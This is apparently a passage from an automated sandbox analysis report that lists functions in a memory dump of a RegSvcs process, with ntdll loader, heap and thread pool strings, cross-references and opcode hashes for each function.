Uniqueness Score: -1.00%

Function 01494AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

RtlDeactivateActivationContext, xrefs: 014D3425, 014D3432, 014D3451
SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 014D3437
SXS: %s() called with invalid flags 0x%08lx, xrefs: 014D342A
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 014D3456

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 0-1245972979
Opcode ID: 653a917a091a4532c1dc1c00f136ad9d61e134d535cc38d3e80b979286bf07e7
Instruction ID: 974b915af1f925be5446aa038c21fdeff143f5b65dd992a8ad9b06164528dbb3
Opcode Fuzzy Hash: 653a917a091a4532c1dc1c00f136ad9d61e134d535cc38d3e80b979286bf07e7
Instruction Fuzzy Hash: E76125726407029FDF22CF19C951B2BBBE4AF90B10F19852FE9559B360D734E802CB92

Uniqueness

Uniqueness Score: -1.00%

Function 014664AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 014C106B
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 014C1028
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 014C10AE
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 014C0FE5

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: d1957b35d4c5f7bcdf813f339f6633225f657adcc0c63249c0de3bc392d7fbe5
Instruction ID: bb4997a24014b075a01959d2582804f22dd9d64eea164f83a84fc979ee9873d4
Opcode Fuzzy Hash: d1957b35d4c5f7bcdf813f339f6633225f657adcc0c63249c0de3bc392d7fbe5
Instruction Fuzzy Hash: E371F1B19043469FCB60DF15C885B9B7FACAFA4768F41046EF9488B266D334D588CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0148245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

LdrpDynamicShimModule, xrefs: 014CA998
apphelp.dll, xrefs: 01482462
minkernel\ntdll\ldrinit.c, xrefs: 014CA9A2
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 014CA992

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: b12b1ca09dfd1de5ca3bd5c2aacd857f79e1ca8c07b8b841f53afcb936ae7c0b
Instruction ID: 403ea694d01ee7f322710deefaca31360852b31326e2a05e57daff460575a1d3
Opcode Fuzzy Hash: b12b1ca09dfd1de5ca3bd5c2aacd857f79e1ca8c07b8b841f53afcb936ae7c0b
Instruction Fuzzy Hash: 40313779600306ABDB719F5D9855EAABBB4FB80F04F26001FE8106B375E7B05986D790

Uniqueness

Uniqueness Score: -1.00%

Function 01470770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 014C50BD
HEAP[%wZ]: , xrefs: 014C50AE
(UCRBlock->Size >= *Size), xrefs: 014C50CA

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: c1eb7e5fdec4fb23c28504a1856a7a4109bcea9f1a7831cdefb2926a1da89389
Instruction ID: 307b3bc226a0fb75bb14093017900f282a8ef2d6a6c99f30efa2a49905f28a25
Opcode Fuzzy Hash: c1eb7e5fdec4fb23c28504a1856a7a4109bcea9f1a7831cdefb2926a1da89389
Instruction Fuzzy Hash: B5F1BC74B01606DFEB25CF68C884BAAB7F5FF85700F14816AE4169B3A1D730E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01486962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

@, xrefs: 01486C24
, xrefs: 014CCA51

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: $@
API String ID: 0-1077428164
Opcode ID: 7d8b54ee55c8988c56df93a9e0d2bc7e197a661c5e27f2e82b2a58a14950f259
Instruction ID: 3aa8d9b0d19ae407998043c8ee4693d2c5597a4cbfadff9c5079bea46e45bbc8
Opcode Fuzzy Hash: 7d8b54ee55c8988c56df93a9e0d2bc7e197a661c5e27f2e82b2a58a14950f259
Instruction Fuzzy Hash: 0AC2BF716083418FE765DF29C890BAFBBE5AF88714F14892EE989C7361D734D805CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0145A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

\??\, xrefs: 014BC1E4
FilterFullPath, xrefs: 014BC2E6
UseFilter, xrefs: 0145A1C1

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 17d0283b07ac289fa61c4d2e84fc82a95931c8fbb9029b4f73566096a072a67d
Instruction ID: 582363d74c3faa4e0eef2aeb897395c9e3e5e77a0dff451b48714c1242b2729c
Opcode Fuzzy Hash: 17d0283b07ac289fa61c4d2e84fc82a95931c8fbb9029b4f73566096a072a67d
Instruction Fuzzy Hash: 9BA159719112299BDB319F28CCC8BEAB7B8EF54710F1101EAE908A7261D7759F85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 01480BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 014CA121
Failed to allocated memory for shimmed module list, xrefs: 014CA10F
LdrpCheckModule, xrefs: 014CA117

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: 4806951fdebd6c15086aaf6fcc42a218d7c4eb7551eb5b06aae40551ecadb33e
Instruction ID: 9227164e77e59a1cbe3292737dab10680ec25a0a60539aae7457cdf0769a3402
Opcode Fuzzy Hash: 4806951fdebd6c15086aaf6fcc42a218d7c4eb7551eb5b06aae40551ecadb33e
Instruction Fuzzy Hash: 3571E375A10306DFDB29EF69C950AAEB7F4FB54704F15402EE412AB321E734AD4ACB40

Uniqueness

Uniqueness Score: -1.00%

Function 01470A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 014C534D
HEAP: , xrefs: 014C5342
HEAP[%wZ]: , xrefs: 014C5335

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 38455394ee8cd7a9f30e6f59debd5729bce6fb8ace73fc239624d167f3d6295b
Instruction ID: b1c39900deb5eaee38edc07ea4616ad0ba0e42b99b90087af66c5f1693464a8c
Opcode Fuzzy Hash: 38455394ee8cd7a9f30e6f59debd5729bce6fb8ace73fc239624d167f3d6295b
Instruction Fuzzy Hash: 2861AC716013029FDB29DF68C480BAABBE1FF56704F14855EE8598F3A2D770E981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0149C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 014D82E8
LdrpInitializePerUserWindowsDirectory, xrefs: 014D82DE
Failed to reallocate the system dirs string !, xrefs: 014D82D7

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: 64d9efef4a172a0b54b39bf713ecc2492c11e9cacc96c65ec3ea1dd9ce7c108c
Instruction ID: 79168b7ea0e6a6bfa8bdf9dbd214537e7fb6201ca22626df921874183abd83ec
Opcode Fuzzy Hash: 64d9efef4a172a0b54b39bf713ecc2492c11e9cacc96c65ec3ea1dd9ce7c108c
Instruction Fuzzy Hash: E141F471540302ABDB20EB69D894F5F7BE8EF58760F01492FF9589B270E770E8049BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0151C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 0151C212
@, xrefs: 0151C1F1
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0151C1C5

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 5eaa0a751e0a127a7fb3b7287ba58d7ce634024655cdb1c282e1d6a26efdae16
Instruction ID: da2fe7ff5e2cfe9ec3075fa52d03c700e1728766eba8ece95f8189165d0aadcd
Opcode Fuzzy Hash: 5eaa0a751e0a127a7fb3b7287ba58d7ce634024655cdb1c282e1d6a26efdae16
Instruction Fuzzy Hash: 9E419571D40209EBEF12DFD9C881FEEB7B8BB24700F14406AE659BB254D7759A44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014F4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpResValidateFilePath Enter, xrefs: 014F4160
LdrpResValidateFilePath Exit, xrefs: 014F4172
@, xrefs: 014F4225

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: b89530f8d9485440ff6d9534e37fab28ab1df73ec79696b15f190d9ccb90aa38
Instruction ID: 46b42eff0547f4737d852aa8662b9847794d86a3e2d27c55d0e8d4ff03ce1148
Opcode Fuzzy Hash: b89530f8d9485440ff6d9534e37fab28ab1df73ec79696b15f190d9ccb90aa38
Instruction Fuzzy Hash: 2D41D471A006598BEB25DBD9C944BAEBBB4FF65340F19046FDA01EB7A1DB348902CB11

Uniqueness

Uniqueness Score: -1.00%

Function 014E4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 014E4888
LdrpCheckRedirection, xrefs: 014E488F
minkernel\ntdll\ldrredirect.c, xrefs: 014E4899

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: 437753cfb9cd3b136e8b892cc8eb0bfa3527d3e575f371a3522c18b4e96a9ecc
Instruction ID: d32a3bb072e1d3d248404866fd18230d38c7d4185ca16f51b02a2013e41db71d
Opcode Fuzzy Hash: 437753cfb9cd3b136e8b892cc8eb0bfa3527d3e575f371a3522c18b4e96a9ecc
Instruction Fuzzy Hash: DF41CF36A003518BCB21CE69D848A277BE5BF89652F0A055FED98DB371D330D800CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01470BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 014C5449
HEAP: , xrefs: 014C543E
HEAP[%wZ]: , xrefs: 014C5431

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 5be0a5723972678ab70762410ae9d0f61c8a8213510b80a37eda0e9af23abb26
Instruction ID: 1ca14e0ebe93759f88e13986021a183b5d31496963942da3505ac5e9956e97d4
Opcode Fuzzy Hash: 5be0a5723972678ab70762410ae9d0f61c8a8213510b80a37eda0e9af23abb26
Instruction Fuzzy Hash: 0A119D313161429FDB69CA19C451BBAF3A5EF52A15F28816FF806CF272DB30E841C755

Uniqueness

Uniqueness Score: -1.00%

Function 014E20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 014E2104
LdrpInitializationFailure, xrefs: 014E20FA
Process initialization failed with status 0x%08lx, xrefs: 014E20F3

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 595dd4ea8d828d5a957c3ac1c2ae731c50f346239938ff254ed2491459d461d9
Instruction ID: 77dfc639eb61840be742957b160625ee45ffba843e8fcb319dd6c174f9300d9b
Opcode Fuzzy Hash: 595dd4ea8d828d5a957c3ac1c2ae731c50f346239938ff254ed2491459d461d9
Instruction Fuzzy Hash: 19F02834A403097BF720D60DDC16F9A7BACEB50B85F11001FF6047B3A1D2F0A640CA41

Uniqueness

Uniqueness Score: -1.00%

Function 014703E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 014C4D8A

Strings

#%u, xrefs: 014C4D82

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 51d0aff29c08f0d56c1849191495afd21fbc592e6049dfba7c4ad0ff02c42bd8
Instruction ID: 3483a51973657cc275b1deec4301fd9380cf80aca7550ef2505466378a0c0017
Opcode Fuzzy Hash: 51d0aff29c08f0d56c1849191495afd21fbc592e6049dfba7c4ad0ff02c42bd8
Instruction Fuzzy Hash: 1D712C71A0014A9FDB01DFA9D994FAEB7F8BF18704F15406AE905E7261EB34ED01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0146A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Enter, xrefs: 0146AA13
LdrResSearchResource Exit, xrefs: 0146AA25

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: 26ca7037869637cf579b52a70da960c5d38e8cc1532e24bf983b3fb03c3037e1
Instruction ID: 8aa5ee668ca447103fd2661209d498735ff0f869af5c1a050283e3f279e95652
Opcode Fuzzy Hash: 26ca7037869637cf579b52a70da960c5d38e8cc1532e24bf983b3fb03c3037e1
Instruction Fuzzy Hash: 9DE19275A006099FEF21CF99C940BAEBBB9FF54718F20442BEA01E7361D7749941CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0152A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 0152A44B
`, xrefs: 0152A551

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: dadb004db33c60d77cc1e718a873d0540623437edae0ea202135fddb3de6c473
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: B4C1BF322043529BEB25CF28C840B6BBBE5BFD5318F084A2DF6968B6D0D774E505CB91

Uniqueness

Uniqueness Score: -1.00%

Function 014DE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 014DE75A
UEFI, xrefs: 014DE751

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 2d8097c051b6dca387dec3bf018b003346f1bb848576889840f83636ab6db809
Instruction ID: c0e6dc9e2745c44c3aafe2b7fd5b0feddb4d63a9d8d216aab8411bd792ed35c9
Opcode Fuzzy Hash: 2d8097c051b6dca387dec3bf018b003346f1bb848576889840f83636ab6db809
Instruction Fuzzy Hash: 1E617D71E002099FDF24DFA9C951BAEBBB9FB54700F64402EE649EB2A1D731E901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 015043D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

MUI, xrefs: 01504525
@, xrefs: 01504437

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @$MUI
API String ID: 0-17815947
Opcode ID: f63e35693f8aa99945f8190b20a0958ace63c2de6c54c88a37f4936034f7c083
Instruction ID: 7639de1552f6ecd6dd7fc3b109e5f1b8448360182d6b4f263878171b70cf9416
Opcode Fuzzy Hash: f63e35693f8aa99945f8190b20a0958ace63c2de6c54c88a37f4936034f7c083
Instruction Fuzzy Hash: D8510971D0021DAFDB11DFE9CC90EEEBBB8BB54654F11052AE611BB290D671AA058B60

Uniqueness

Uniqueness Score: -1.00%

Function 014604E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

kLsE, xrefs: 01460540
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0146063D

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: afb3d875157bab27febb66f4496c5c741b20847755f420d5938f732c714e5b28
Instruction ID: b0e8746100652d5d7c167b14454df6cead2b63e50485dabcf3512d8baacb23bd
Opcode Fuzzy Hash: afb3d875157bab27febb66f4496c5c741b20847755f420d5938f732c714e5b28
Instruction Fuzzy Hash: 2A51D1715007428FD724DF29C4406A7BBE8AF84308F10483FF6AA87361E774D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0146A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 0146A309
RtlpResUltimateFallbackInfo Enter, xrefs: 0146A2FB

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 947e8007cc9534dd7074e6423c9767e9846d5d6216457de46b443d08b0b33ee4
Instruction ID: f17155aaa4b424ca781dc94e961675479e782cc4ef88dc79af3841f3761cf093
Opcode Fuzzy Hash: 947e8007cc9534dd7074e6423c9767e9846d5d6216457de46b443d08b0b33ee4
Instruction Fuzzy Hash: 6B41AF34A04A55DBDB11CF59C440B6A7BB8FF95704F24406BE900EB371E3B5D981CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0149A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Threadpool!, xrefs: 0149A5E9
Cleanup Group, xrefs: 0149A5E4

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: 0b3a2cefa74130a47733ec5dce465691c141eb688d751ed0471e2d8525d2a930
Instruction ID: 597e75829df632e95419b4e7a4fac3e87af95118614bf9122d593ffb07bf1d64
Opcode Fuzzy Hash: 0b3a2cefa74130a47733ec5dce465691c141eb688d751ed0471e2d8525d2a930
Instruction Fuzzy Hash: F101D1B2240744AFD311DF14CD45F267BE8EB94716F05893AA69CCB1A0E374D804DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0146C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 0146C8C3, 0146CA40

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 2d76c5c85b5521b2c8a582d4df26ba17749b7503b45dd7df1b0bc6bbfc62b6a6
Instruction ID: 04aab5fcb8fd760ac8dad565e3bfb2f913fc36305bbfeafcaf1c07351ce3f000
Opcode Fuzzy Hash: 2d76c5c85b5521b2c8a582d4df26ba17749b7503b45dd7df1b0bc6bbfc62b6a6
Instruction Fuzzy Hash: 3D826075E002189FDB24CFA9C8807EEBBB9BF44718F14816BD999AB361D7309D41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0150A118 Relevance: 1.8, Strings: 1, Instructions: 591COMMON

Download Yara Rule

Strings

@, xrefs: 0150A68B

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c3e9316bdf52a3a090416a67958ef52682cc3ff45329d00e778c5fcc845f3444
Instruction ID: 283599494fb4c4bd37863e3baf69bb824f3b7952a2091bc39cbec1a7b82ac315
Opcode Fuzzy Hash: c3e9316bdf52a3a090416a67958ef52682cc3ff45329d00e778c5fcc845f3444
Instruction Fuzzy Hash: 5A22CF746047618BEB26CFADC49077ABBF1BF44340F08895AD9868F2C6E375E452CB60

Uniqueness

Uniqueness Score: -1.00%

Function 014E6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 014E65C1

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 33b29249e6e50529dfcbb19f8e61f5d228e37635fb679a8af56c9615683900f4
Instruction ID: b460ac0af2cf079c97604f364c06a9d7c7cab4569714994f06d891188aeb942f
Opcode Fuzzy Hash: 33b29249e6e50529dfcbb19f8e61f5d228e37635fb679a8af56c9615683900f4
Instruction Fuzzy Hash: A7916571A40219AFEB21EF95DD45FAE7BB8EF24B50F11405AF604AB2A0D775ED00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0150E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

, xrefs: 0150E1FA

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: c0ad0813d43c49dca99c1c3e6f5e2f96de880ee36ded1862d27d31110819ff4f
Instruction ID: 475365ac0a197a63f1037c2fc472bb456c5ffb117faeabcf3b97d26c50495ad5
Opcode Fuzzy Hash: c0ad0813d43c49dca99c1c3e6f5e2f96de880ee36ded1862d27d31110819ff4f
Instruction Fuzzy Hash: BA919E72901206AEDB23AFE5DC45FEFBBB9FF55740F24081AE505AB2A0D774A901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0149A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 014D67C9

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: a8b924a73c236b6070628a3df3e39c4dafd7d4b6f62b64bbe788c2c35d499646
Instruction ID: 71b083e9f3a10eb49ae5dc4ebb404a8bfbc6bb622f5a728fe5a2e09a9291246d
Opcode Fuzzy Hash: a8b924a73c236b6070628a3df3e39c4dafd7d4b6f62b64bbe788c2c35d499646
Instruction Fuzzy Hash: 41717F75E0120A8FDF28DF9DC5A16AEBBB1BF98710F15812FE905AB361E7309941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01504978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

.mui, xrefs: 01504A7F

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: .mui
API String ID: 0-1199573805
Opcode ID: 23e067384936e244394c35327cba77450ccc63bdac7f9d521a6e50161d44b167
Instruction ID: 18c5476bb52baa21e527b986901e8f124aa12a967ed2d314d3cd41099db45012
Opcode Fuzzy Hash: 23e067384936e244394c35327cba77450ccc63bdac7f9d521a6e50161d44b167
Instruction Fuzzy Hash: 5451A572D0022A9BDF16DFD9D840AAEBBB5BF18714F05412AEA11BF290D3749C01CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0147E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 0147E6A4

Memory Dump Source

